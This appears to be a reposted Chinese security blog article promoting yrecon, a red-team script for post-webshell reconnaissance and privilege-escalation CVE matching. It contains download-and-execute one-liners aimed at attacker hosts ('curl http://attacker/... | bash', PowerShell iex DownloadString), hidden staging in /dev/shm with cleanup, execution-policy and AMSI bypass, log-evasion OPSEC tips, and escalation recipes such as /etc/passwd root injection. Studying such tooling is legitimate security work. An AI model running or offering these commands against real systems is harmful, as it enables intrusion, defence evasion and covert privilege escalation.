红队利器yrecon:一行命令,14个模块,自动匹配提权CVE

admin 2026-09-25 05:15:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍红队信息收集工具yrecon,其设计围绕提权路径决定收集内容,采用单文件架构支持内存执行,覆盖Linux与Windows双平台,共14个Linux模块和10个Windows模块,包含系统信息、用户权限、SUID、CVE探针等检测项,并内置CVE版本匹配算法辅助判断可利用漏洞,适用于授权红队评估中的本地侦察阶段。 综合评分: 85 文章分类: 红队,渗透测试,内网渗透,漏洞分析,安全工具


红队利器 yrecon:一行命令,14个模块,自动匹配提权CVE

原创

moresuo moresuo

Hack分享吧

2026年9月22日 09:50 湖南

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

| Ima知识库名称 | 加入条件 | | — | — | | 潇湘信安协同知识库(更新~ing!) | 免费加入 | | 潇湘信安学习资料库(更新~ing!) | ≥3年粉丝 | | 潇湘信安内部知识库(更新~ing!) | 星球成员 |

现在只对常读和星标公众号才展示大图推送,建议大家把“Hack分享吧”设为星标,否则可能看不到了!

yrecon 深度剖析:把信息收集做到”提权导向”的实战工具

项目地址:https://github.com/moresuo/yrecon

定位:内网信息收集 + 提权 CVE 探针

语言:Bash / PowerShell

适用场景:授权安全研究 / 红队评估 — webshell / 低权限 shell 后的本地侦察阶段


一、为什么需要 yrecon?

在红队评估和渗透测试的实战中,拿到一个 webshell 或低权限 shell 只是第一步。真正的挑战在于:如何在最短时间内从低权限突破到 root / SYSTEM?

传统做法是手动跑一堆命令——uname -a、id、sudo -l、find / -perm -4000、whoami /priv……每次都要重复,容易遗漏关键信息,而且耗时。

yrecon 的设计哲学很明确:

提权路径决定收集什么。

它不是无脑堆命令的”信息收集脚本”,而是围绕权限提升这一核心目标,把每类信息的收集都映射到具体的提权路径上。拿到结果就能直接判断”能不能打、怎么打”。

PS C:\> chcp 65001 | Out-Null; [Console]::OutputEncoding = [System.Text.Encoding]::UTF8; $OutputEncoding = [System.Text.Encoding]::UTF8; $wc = New-Object System.Net.WebClient; $wc.Encoding = [System.Text.Encoding]::UTF8; iex $wc.DownloadString('http://192.168.1.110/yrecon/winrecon.txt')


二、工具组成与设计哲学

2.1 双平台对称架构

| 工具 | 语言 | 目标平台 | 文件大小 | 形态 | | — | — | — | — | — | | linrecon.sh | Bash(POSIX 兼容) | Linux | ~52KB | 单文件,支持 curl | bash 内存执行 | | winrecon.ps1 | PowerShell 5.1+ | Windows | ~19KB | 单文件,UTF-8 BOM,支持 iex(iwr) 内存执行 |

两个工具功能逻辑对称,输出风格统一——复刻 YSCAN 的 GitHub Dark 调色板 + 图标体系。这意味着:

  • 学习成本低:学会一个,另一个自然就会用
  • 输出可比对:同一目标上 Linux/Windows 双跑,输出格式一致,方便横向对比
  • 维护成本低:两个脚本同步迭代,CVE 覆盖清单保持一致

2.2 单文件哲学

yrecon 选择单文件设计而非模块化目录结构,这在实战中有明确优势:

  • 内存执行:curl | bash 或 iex(iwr) 一行命令完成部署,不落盘
  • 传输简单:一个 HTTP 请求就能拉到完整工具
  • 无依赖:不依赖额外的配置文件或库(除了系统自带工具)

三、执行模式与实战场景

3.1 三种通用执行模式

| 模式 | 适用场景 | 特点 | 隐蔽性 | | — | — | — | — | | 本地执行 | 自有机器测试 | 最简单,直接跑 | 无要求 | | 内存执行 | 目标能出网 | 不落盘,curl|bash / iex(iwr) | 高 | | 落盘 + 重定向 | webshell 后(推荐) | 解决输出截断、执行超时 | 中 |

3.2 webshell 场景:yrecon 的核心战场

webshell 命令执行有两个硬约束:

  1. 响应长度截断:nginx/apache 的 buffer 有限,长输出会被截断
  2. 执行超时:php 的 max_execution_time 等限制会导致脚本被 kill

yrecon 的解法是落盘 + 重定向到文件 + 分段读:

Linux(www-data 权限):

# 落盘到内存盘(更隐蔽)+ 重定向
curl http://x/linrecon.sh -o /dev/shm/.x.sh
bash /dev/shm/.x.sh -m cve > /dev/shm/.out.txt 2>&1

# 分段读 / 只看高危
sed -n '1,100p' /dev/shm/.out.txt
grep '\[!!\]' /dev/shm/.out.txt     # 等价:红色 ● 标记

# 清理
rm -f /dev/shm/.x.sh /dev/shm/.out.txt

Windows(IIS_IUSRS 权限):

# 落盘到 Windows\Temp(通用可写)+ 重定向
powershell -c "(New-Object Net.WebClient).DownloadFile('http://x/winrecon.ps1','C:\Windows\Temp\x.ps1')"
powershell -ExecutionPolicy Bypass -File C:\Windows\Temp\x.ps1 > C:\Windows\Temp\o.txt 2>&1

# 读结果
findstr /C:"●" C:\Windows\Temp\o.txt
del C:\Windows\Temp\x.ps1 C:\Windows\Temp\o.txt

分模块跑解决超时:software(Win)/ suid(Linux)扫描慢,单独跑;先跑 cve 快速看可打洞。


四、模块体系:14 个 Linux 模块 + 10 个 Windows 模块

4.1 linrecon.sh 模块详解

| 模块 | 检测命令 | 检测原理 | 对应提权路径 | | — | — | — | — | | sysinfo | uname / /etc/os-release / /proc/1/cgroup | 内核版本(喂给 CVE 探针)+ 容器环境初判 | 内核漏洞利用 | | userpriv | id / sudo -n -l / [ -w /etc/passwd ] | 当前权限位、sudo 滥用面、关键文件可写性 | sudo 滥用 / passwd 注入 | | suid | find / -perm -4000/-2000 | SUID/SGID 文件,basename 对照 GTFOBins 列表自动标记 | SUID 滥用 | | caps | getcap -r / 或 /proc/*/status CapEff | capabilities 位,cap_setuid 等高危位高亮 | Capabilities 滥用 | | cron | /etc/crontab / /etc/cron.* | 定时任务可写性 + 内容 | Cron 劫持 | | services | ps / ss -tulpn / /dev/tcp 探测 | root 进程 + 监听端口 + 内部服务 | 内部服务未授权 | | fs | [ -w ] / find / /etc/exports | 可写关键路径、PATH 劫持面、NFS 配置 | PATH 劫持 / NFS | | credz | find id_rsa / grep password | SSH 私钥、配置文件明文密码 | 凭证泄露横向 | | network | ip / route / /etc/resolv.conf | 接口/路由/ARP/DNS,域信息 | 横向移动铺垫 | | container | /.dockerenv / /proc/1/cgroup / CapEff | 容器逃逸面:Docker socket、特权容器 | 容器逃逸 | | cve | uname -r + 版本区间匹配 | 内核/用户态/容器逃逸 CVE 三类探针 | CVE 利用 | | suggest | 综合以上结果 | 汇总提权建议 | — |

新增增强项(v2.0):

  • sysinfo 扩展了 sysctl 安全配置检测:ASLR 状态、ptrace_scope、BPF 限制、KASLR(kptr_restrict)、dmesg_restrict、user.max_user_namespaces、mmap_min_addr 等——每一项都直接影响 exploit 可用性
  • sysinfo 新增内核启动参数(/proc/cmdline)检查,能发现启动参数中泄露的凭据或安全敏感项
  • sysinfo 新增 LSM 状态检测(SELinux / AppArmor),判断 MAC 策略是否影响提权路径
  • sysinfo 新增 lsmod 检查,标记与 exploit 相关的内核模块(如 nf_tables、overlay、vsock)

4.2 winrecon.ps1 模块详解

| 模块 | 检测 API/命令 | 检测原理 | 对应提权路径 | | — | — | — | — | | sysinfo | Get-CimInstance Win32_OperatingSystem | OS/Build(喂给 CVE 探针)/补丁数 | 补丁缺失 CVE | | userpriv | whoami /all | 特权令牌扫描:SeImpersonate->Potato、SeDebug->注入等 | Potato 系列 / 进程注入 | | services | Get-CimInstance Win32_Service + 写测试 | 未引用路径 + 可写服务目录(实测写入) | 服务路径劫持 | | registry | Get-ItemProperty 各键 | AlwaysInstallElevated、AutoLogon 凭证、Run 自启 | MSI 提权 / 凭证提取 | | credz | cmdkey / [IO.File]::ReadAllBytes(SAM) / vssadmin | cmdkey 缓存、SAM 可读、卷影副本、unattended 文件 | 离线哈希破解 | | software | Get-CimInstance Win32_Product 或注册表卸载键 | 已装软件版本,标记已知漏洞软件 | 第三方软件漏洞 | | av | SecurityCenter2 / Get-MpComputerStatus / Get-MpPreference | AV 识别、Defender 实时保护状态、排除路径 | 绕过 AV/EDR | | network | ipconfig / Get-NetTCPConnection / Win32_ComputerSystem | 接口/端口/域成员 | 域内攻击(Kerberoasting/NoPAC/DCSync) | | cve | Build + 补丁日期 + 特权组合 | Potato 推荐、PrintNightmare、HiveNightmare、NoPAC、win32k | CVE 利用 | | suggest | 综合以上结果 | 汇总提权建议 | — |


五、CVE 探针:从版本号到可利用性判断

5.1 版本解析与比较算法

Linux:uname -r 取内核版本(如 5.15.0-91-generic),grep -oE '^[0-9]+(\.[0-9]+)*' 提取纯版本部分 5.15.0。

版本比较使用 Bash 函数 ver_lt():

ver_lt() {
  local a="$(_ver "$1")" b="$(_ver "$2")"
  [ -z "$a" ] || [ -z "$b" ] && return 1
  [ "$(printf '%s\n%s\n' "$a" "$b" | sort -V | head -1)" = "$a" ] && [ "$a" != "$b" ]
}

原理:sort -V 做版本排序(按点分段数值比较),最小者排第一。若 a 是最小且 a≠b,则 a < b。

Windows:Build 号是整数,直接数值比较($build -lt 14393);版本号用 [System.Version]。

5.2 范围匹配逻辑

每个 CVE 定义受影响版本区间 [min, max),组合 !ver_lt(min)(不低于下限)与 ver_lt(max)(低于上限)判断:

# Dirty Pipe: 5.8 <= k < 5.16.11 (含 5.15.x / 5.10.x 回溯)
if&nbsp;! ver_lt&nbsp;"$kv"&nbsp;5.8 && (ver_lt&nbsp;"$kv"&nbsp;5.16.11 || ...);&nbsp;then
&nbsp; &nbsp; high&nbsp;"CVE-2022-0847 Dirty Pipe"
fi

5.3 用户态 CVE 检测

不依赖内核版本,检测工具存在性与版本:

  • pkexec 存在 → PwnKit(CVE-2021-4034,polkit 几乎全版本)
  • sudo --version < 1.9.5p2 → Baron Samedit(CVE-2021-3156,参数转义堆溢出)

5.4 CVE 覆盖清单

Linux 内核 LPE

| CVE | 名称 | 影响版本 | 条件 | 来源 | | — | — | — | — | — | | CVE-2016-5195 | Dirty COW | 2.6.22-4.8.3 | 竞态写 | 经典 | | CVE-2019-13272 | ptrace | <5.1.17 | pkexec | 经典 | | CVE-2021-22555 | netfilter | <5.12 | — | 经典 | | CVE-2022-0847 | Dirty Pipe | 5.8-5.16.10 | 覆写只读文件 | 经典 | | CVE-2023-0386 | OverlayFS | <6.2 | userns | 经典 | | CVE-2024-1086 | nf_tables UAF | 5.14-6.6 | userns | 经典 | | CVE-2024-0646 | nft_verdict | <6.6.8 | x86_64 | 经典 | | CVE-2026-31431 | Copy Fail | 4.14-6.19.x(多分支) | AF_ALG 自检通过 | poc-lab | | CVE-2026-46331 | act_pedit | 5.18-7.1-rc7 | userns+CAP_NET_ADMIN+act_pedit | poc-lab | | CVE-2026-31635 | DirtyDecrypt | 6.16.1-6.18.23 等 | CONFIG_RXGK(Fedora/Arch/openSUSE) | poc-lab | | CVE-2026-43284 | Dirty Frag (ESP) | >=4.11 | userns+CAP_NET_ADMIN+esp4 | poc-lab | | CVE-2026-53359 | Januscape | 2.6.36-6.18 | KVM 宿主 / /dev/kvm 0666 | poc-lab | | CVE-2026-31429 | Slab Cross-Cache | 6.3-7.0-rc | BPF_PROG_LOAD(多需 root) | poc-lab |

Linux 用户态 LPE

| CVE | 名称 | 条件 | | — | — | — | | CVE-2021-4034 | PwnKit | pkexec 几乎全版本 | | CVE-2021-3156 | Baron Samedit | sudo <1.9.5p2 | | CVE-2019-14287 | sudo -u#-1 | sudo <1.8.28 |

Linux 信息泄露(可间接提权)

| CVE | 名称 | 说明 | 来源 | | — | — | — | — | | CVE-2026-46333 | pidfd_getfd FD 盗读 | 读 /etc/shadow/SSH host key,离线破解 | poc-lab |

Windows 提权

  • SeImpersonate → Potato 系列(JuicyPotato / RoguePotato / PrintSpoofer / GodPotato)
  • PrintNightmare(CVE-2021-1675)、HiveNightmare(CVE-2021-36934)、NoPAC、win32k 系列
  • AlwaysInstallElevated、未引用服务路径、可写服务、AutoLogon、WSUS

重点项 — Copy Fail(CVE-2026-31431):版本矩阵最完整、条件最通用(CONFIG_CRYPTO_USER_API_AEAD 几乎全发行版默认开启),脚本内置 AF_ALG 自检(python3 -c "import socket; socket.socket(38,5,0)")确认可利用性。

5.5 已知局限与诚实标注

yrecon 在 CVE 探针上有一个非常重要的设计原则:诚实标注局限性。

  1. 发行版回溯补丁误报:RHEL/Ubuntu 常把补丁回溯到老版本号(如 Ubuntu 5.15.0-91 已含 Dirty Pipe 修复,但版本号仍在受影响区间)。脚本标”可能存在”,实战需 PoC 实测。
  2. 粗筛性质:Build 号只判大版本区间,不精确到具体 KB。Windows 探针用”最近补丁日期”辅助,但仍粗。
  3. CVE 覆盖有限:脚本只内置高频通用 CVE,新 CVE 需手工补充。

这种诚实标注避免了”探针说有就一定有”的误判,提醒使用者验证而非盲信。


六、提权路径映射:从信息到行动

yrecon 最有价值的设计是将每类收集信息直接映射到提权路径。下面是完整的映射关系。

6.1 Linux 提权路径 → 收集项

| 提权路径 | 收集项 | 原理 | | — | — | — | | 内核漏洞 | uname -r 内核版本 | 内核 CVE 有版本区间,匹配后用对应 PoC(如 Dirty Pipe 5.8-5.16.10) | | SUID 滥用 | find / -perm -4000 | SUID 位使执行者获得文件 owner 权限;若 owner=root 且二进制可滥用(如 nmap/vim/find),对照 GTFOBins 提权 | | sudo 配置缺陷 | sudo -n -l | sudoers 规则若允许无密码执行某命令,且该命令可逃逸(如 sudo find 可 -exec),直接提权 | | Capabilities | getcap -r / | cap_setuid 可直接置 uid=0;cap_dac_override 绕文件权限;比 SUID 更细粒度,常被忽视 | | 定时任务可写 | /etc/crontab 等 | root 执行的 cron 脚本若可写,写入反弹 shell 即获 root | | 可写 /etc/passwd | [ -w /etc/passwd ] | passwd 可写则可注入 user::0:0::/root:/bin/bash 直接造 root 账户 | | PATH 劫持 | $PATH 可写目录 | root 调用无绝对路径命令时,若 PATH 前段可写,放入同名恶意脚本被执行 | | NFS no_root_squash | /etc/exports | 该选项让 NFS 客户端以 root 身份写文件,本地挂载后可写 setuid 程序 | | Docker 组成员 | id 含 docker 组 | docker 组用户可 docker run -v /:/mnt 挂载宿主根目录,直接 chroot 提权 | | 凭证泄露 | .bash_history 、配置文件、id_rsa | 管理员历史命令/配置明文密码/SSH 私钥 → 横向到 root |

6.2 Windows 提权路径 → 收集项

| 提权路径 | 收集项 | 原理 | | — | — | — | | 补丁缺失 | Get-HotFix + BuildNumber | 按 Build 号筛 + 补丁日期判断,缺补丁对应 CVE(PrintNightmare/HiveNightmare) | | SeImpersonate | whoami /priv | 服务账户常有此权限;Potato 系列通过骗取 SYSTEM 进程连接触发 NTLM 认证,拿到 SYSTEM 令牌并 Impersonate 提权 | | SeDebug | whoami /priv | 可打开任意进程(含 SYSTEM),CreateRemoteThread 注入 winlogon.exe 提权 | | 未引用服务路径 | Win32_Service.PathName | 路径含空格无引号时,Windows 逐级尝试解析(如 C:\Program Files\svc → C:\Program.exe),上游目录可写则劫持 | | 可写服务目录 | 实测写测试文件 | 服务二进制所在目录可写 → 替换 exe → 启动服务获 SYSTEM | | AlwaysInstallElevated | 注册表双键值 | 该策略=1 时,msi 安装以 SYSTEM 身份执行,任意用户 msiexec /i evil.msi 即提权 | | AutoLogon 凭证 | Winlogon 注册表 | AutoAdminLogon=1 时,DefaultPassword 明文存于注册表 | | SAM 可读 | 实测 ReadAllBytes(SAM) | SAM/SYSTEM 可读 + 卷影副本存在 → 离线拿本地哈希(HiveNightmare CVE-2021-36934) | | cmdkey 缓存 | cmdkey /list | 缓存凭据可用 runas /savecred 以其他用户身份执行 | | WSUS HTTP | WindowsUpdate 注册表 | WSUS 走 HTTP 且 UseWUServer=1 → 中间人投递恶意更新(PyWSUS) | | Defender 排除路径 | Get-MpPreference | 排除目录可放 payload 绕检测 |


七、输出体系:YSCAN 风格的可视化设计

7.1 配色方案

yrecon 复刻了 YSCAN 的 GitHub Dark 调色板,使用 ANSI TrueColor 精确还原:

| 颜色 | Hex | ANSI 转义码 | 语义 | | — | — | — | — | | 粉 | #f778ba | \033[1;38;2;247;120;186m | 模块标题 ✦ / 完成 ✓ | | 绿 | #3fb950 | \033[1;38;2;63;185;80m | 普通发现 ● | | 红 | #f85149 | \033[1;38;2;248;81;73m | 高危 ● | | 橙 | #d2991d | \033[1;38;2;210;153;29m | 警告 ⚠ | | 蓝 | #58a6ff | \033[1;38;2;88;166;255m | 信息 -> | | 紫 | #a371f7 | \033[1;38;2;163;113;247m | 子标题 ▸ / 高亮值 | | 灰 | #8b949e | \033[38;2;139;148;158m | 次要信息 └─ |

7.2 图标语义体系

| 图标 | 颜色 | 语义 | 优先级 | | — | — | — | — | | ✦ | 粉 | 模块标题 | — | | -> | 蓝 | 信息项 / key-value 引导 | — | | ● | 绿 | 普通发现(可关注) | 低 | | ● | 红 | 高危提权向量 (优先利用) | 最高 | | ⚠ | 橙 | 警告(需评估) | 中 | | ▸ | 紫 | 子标题/分组 | — | | ✓ | 粉 | 完成 | — | | └─ | 灰 | 缩进的补充说明(PoC/解释) | — |

7.3 输出示例

&nbsp; ✦ 提权 CVE 探针 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<- 模块标题(粉)
&nbsp; &nbsp; -> 内核版本 : 5.15.0 &nbsp; &nbsp; &nbsp; <- key-value(蓝-> / 灰key / 紫值)
&nbsp; &nbsp; ▸ 内核级 CVE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<- 子标题(紫)
&nbsp; &nbsp; ● CVE-2022-0847 Dirty Pipe &nbsp;<- 高危(红●)
&nbsp; &nbsp; &nbsp; PoC: 覆写 /etc/passwd &nbsp; &nbsp; <- 补充(灰)
&nbsp; ✓ recon 完成 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <- 完成(粉)

优先级规则:红 ● > 橙 ⚠ > 绿 ●。实战先打红项。

终端不支持 TrueColor 时降级为默认色,图标仍可辨识。


八、安全配置深度检测(v2.0 增强)

linrecon v2.0 的 sysinfo 模块新增了内核安全配置深度检测,这是同类工具中少见的:

8.1 sysctl 安全参数

| 参数 | 检测内容 | 提权影响 | | — | — | — | | kernel.yama.ptrace_scope | ptrace 限制 | =0 时任意进程可被注入,exploit 限制小 | | kernel.unprivileged_bpf_disabled | BPF 权限 | =0 时 BPF exploit 可用(CVE-2020-8835 等) | | kernel.kptr_restrict | 内核地址泄露 | ≠0 时 KASLR 绕过受限,需信息泄露配合 | | kernel.dmesg_restrict | dmesg 权限 | =1 时内核地址泄露受限 | | kernel.randomize_va_space | ASLR | =0 时所有 exploit 可稳定利用 | | user.max_user_namespaces | 用户命名空间 | =0 时依赖 user ns 的 CVE 不可用 | | vm.mmap_min_addr | NULL 页映射 | >65536 时 NULL page 映射受限 | | fs.protected_symlinks/hardlinks | 符号链接保护 | 影响符号链接攻击面 | | dev.tty.legacy_tiocsti | TTY 注入 | 可用于键盘输入注入 |

8.2 LSM 与启动参数

  • SELinux/AppArmor:检测 MAC 策略是否影响提权路径
  • /proc/cmdline:检查启动参数中的安全敏感项(selinux=0、init=/bin/sh)和可能的凭据泄露

8.3 内核模块

检查 lsmod 输出,标记与 exploit 相关的内核模块(如 nf_tables 对应 CVE-2024-1086、overlay 对应 OverlayFS CVE、vsock 对应 vsock exploit)。


九、OPSEC:操作安全注意事项

yrecon 在 README 中明确列出了 OPSEC 注意事项,这在同类工具中非常少见且极为重要:

9.1 落盘位置选择

| 平台 | 推荐路径 | 原因 | | — | — | — | | Linux | /dev/shm | 内存盘,不落磁盘取证 | | Windows | C:\Windows\Temp | 通用可写目录 |

命名应伪装(如 .x.sh),避免明显的工具名。

9.2 输出截断处理

webshell 响应有长度限制,务必重定向到文件再分段读,勿直接回灌 HTTP 响应。

9.3 执行超时

software/suid 慢,分模块跑;先 cve 快速定方向。

9.4 日志痕迹

| 平台 | 主要日志 | | — | — | | Linux | ~/.bash_history (www-data 通常不写)、webshell access log | | Windows | PowerShell Script Block Logging(4104 事件)、Sysmon、Windows PowerShell 事件日志 |

9.5 PowerShell 特殊处理

  • 编码:winrecon.ps1 必须保持 UTF-8 with BOM(PS 5.1 默认按 GBK 读无 BOM 文件,中文会报语法错)。重新分发勿转码。
  • AMSI bypass:winrecon 头部内嵌反射 AMSI bypass(老版够用,新版 EDR 需 patch)。
  • CLM 检测:若检测到约束语言模式(CLM),.NET 调用受限,部分模块降级,需先绕 CLM。
  • AV/EDR:winrecon 含提权探测特征,本机 Defender 可能拦。测试时加排除路径或注释 AMSI bypass 段。

十、快速上手

10.1 Linux

# 全量收集 + CVE 探针
bash linrecon.sh

# 指定模块(逗号或空格分隔)
bash linrecon.sh -m cve
bash linrecon.sh -m sysinfo,userpriv,cve

# 排除指定模块
bash linrecon.sh -M cve,fs

# 安静模式(纯文本无颜色,适合管道处理)
bash linrecon.sh -q

# 输出到文件
bash linrecon.sh -o /tmp/recon.out

# 内存执行(需出网)
curl http://attacker/linrecon.sh | bash

# 帮助
bash linrecon.sh -h

10.2 Windows

# 本地执行(绕过执行策略)
powershell -ExecutionPolicy Bypass -File winrecon.ps1

# 内存执行(需出网)
iex(iwr http://attacker/winrecon.ps1 -UseBasicParsing)

# 指定模块(dot-source + Invoke-All)
. .\winrecon.ps1; Invoke-All -Modules cve
. .\winrecon.ps1; Invoke-All -Modules sysinfo,userpriv,cve

十一、扩展:自定义 CVE 和输出风格

11.1 添加新 Linux CVE

在 m_cve() 内按版本区间仿写:

if&nbsp;ver_lt&nbsp;"$kv_"&nbsp;6.X && ! ver_lt&nbsp;"$kv_"&nbsp;6.Y;&nbsp;then
&nbsp; &nbsp; high&nbsp;"CVE-XXXX-YYYY 名称 (范围) - 说明"
&nbsp; &nbsp; indent&nbsp;"PoC: ..."
fi

11.2 添加新 Windows CVE

在 Invoke-CVE 内按 Build 仿写:

if ($build -ge XXXXX -and $build -lt YYYYY) {
&nbsp; &nbsp; W-Warn "CVE-XXXX-YYYY 说明"
}

11.3 修改输出风格

颜色变量集中在文件顶部(C_* / $script:C_*),改 TrueColor RGB 即可换主题。图标在输出函数(ok/high/warnx / W-Ok/W-High/W-Warn)里。


十二、与同类工具的对比

| 特性 | yrecon | LinPEAS | WinPEAS | linux-exploit-suggester | | — | — | — | — | — | | 平台覆盖 | Linux + Windows | 仅 Linux | 仅 Windows | 仅 Linux | | CVE 探针 | 内核 + 用户态 + 2026 新 CVE | 无 | 无 | 内核 | | 提权路径映射 | 有(每条信息映射到提权路径) | 部分 | 部分 | 无 | | 内存执行 | 支持 | 需改造 | 需改造 | 支持 | | 输出风格 | YSCAN GitHub Dark | 彩色 | 彩色 | 纯文本 | | 单文件 | 是 | 是 | 是 | 是 | | sysctl 安全配置 | 详细检测 | 有 | — | 无 | | 容器逃逸检测 | 有 | 部分 | 无 | 无 | | OPSEC 指导 | 有 | 无 | 无 | 无 | | 2026 新 CVE | 6 个 | 无 | 无 | 无 | | 模块化选择 | 14 个模块可选 | 无 | 无 | 无 |

yrecon 的核心差异化在于:

  1. 双平台对称:一套工具覆盖 Linux + Windows,学习成本低
  2. 提权导向:不是无脑收集,而是每条信息都映射到具体提权路径
  3. 2026 新 CVE 覆盖:包含 poc-lab 最新 CVE(Copy Fail、act_pedit、DirtyDecrypt 等)
  4. 模块化执行:14 个模块可自由组合,webshell 场景下分模块跑避免超时
  5. OPSEC 意识:内置 AMSI bypass、CLM 检测、落盘位置建议

十三、文件清单

yrecon/
├── linrecon.sh &nbsp; &nbsp; &nbsp;Linux 信息收集 + CVE 探针(Bash, ~52KB)
├── winrecon.ps1 &nbsp; &nbsp; Windows 信息收集 + CVE 探针(PowerShell, ~19KB, UTF-8 BOM)
└── README.md &nbsp; &nbsp; &nbsp; &nbsp;项目文档

十四、实战使用建议

14.1 标准流程

  1. 拿到 webshell/低权限 shell 后,先跑 cve 模块快速定方向
  2. 根据系统类型选择全量收集或分模块跑
  3. 优先关注输出中的红色 ● 标记(高危提权向量)
  4. 对 CVE 探针结果,验证发行版是否已回溯补丁
  5. 利用提权路径映射表,找到具体可利用的路径

14.2 webshell 场景最佳实践

  • 落盘到内存盘(Linux: /dev/shm,Windows: C:\Windows\Temp)
  • 重定向输出到文件,分段读取
  • 先跑快的模块(cve、sysinfo),慢的(suid、software)单独跑
  • 用完清理:删除脚本和输出文件

14.3 CVE 验证

yrecon 的 CVE 探针是粗筛,不是精确判断。对于探针报告的可能 CVE:

  1. 查发行版 changelog 确认是否已回溯补丁
  2. 用对应 PoC 实测(非生产环境)
  3. 结合 sysctl 安全配置判断 exploit 可用性(ASLR、userns、BPF 等)

免责声明

本工具集仅供授权安全研究与红队评估使用。在未取得书面授权的目标上使用本工具集中的任何功能均属违法。作者不对任何滥用行为承担责任。使用者需确保遵守当地法律法规,并承担相应责任。


知 识 星 球

星球已过800人,暂不再发放优惠券,如还有需要的师傅可加我VX:S_3had0w,等你一起来学习…!

| Ima知识库名称 | 加入条件 | | — | — | | 潇湘信安协同知识库(更新~ing!) | 限时免费 | | 潇湘信安学习资料库(更新~ing!) | ≥3年粉丝 | | 潇湘信安内部知识库(更新~ing!) | 星球成员 |

| | | | — | — | | | |

往期推荐工具

红队必备:不进系统,扒光虚拟机所有密码

微信小程序捡洞神器:自动反编译+扫密钥

Everything 这两大新功能太牛了!

把AI大脑装进BurpSuite,自动挖洞来了!

高级WebShell管理与后渗透神器

263+上传漏洞检测与绕过工具

ProxyBridge (Proxifier替代工具)

基佬的”自动化”渗透测试扫描工具

最好用的下一代目录爆破工具


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:Hack分享吧 moresuo moresuo《红队利器 yrecon:一行命令,14个模块,自动匹配提权CVE》

    评论:0   参与:  0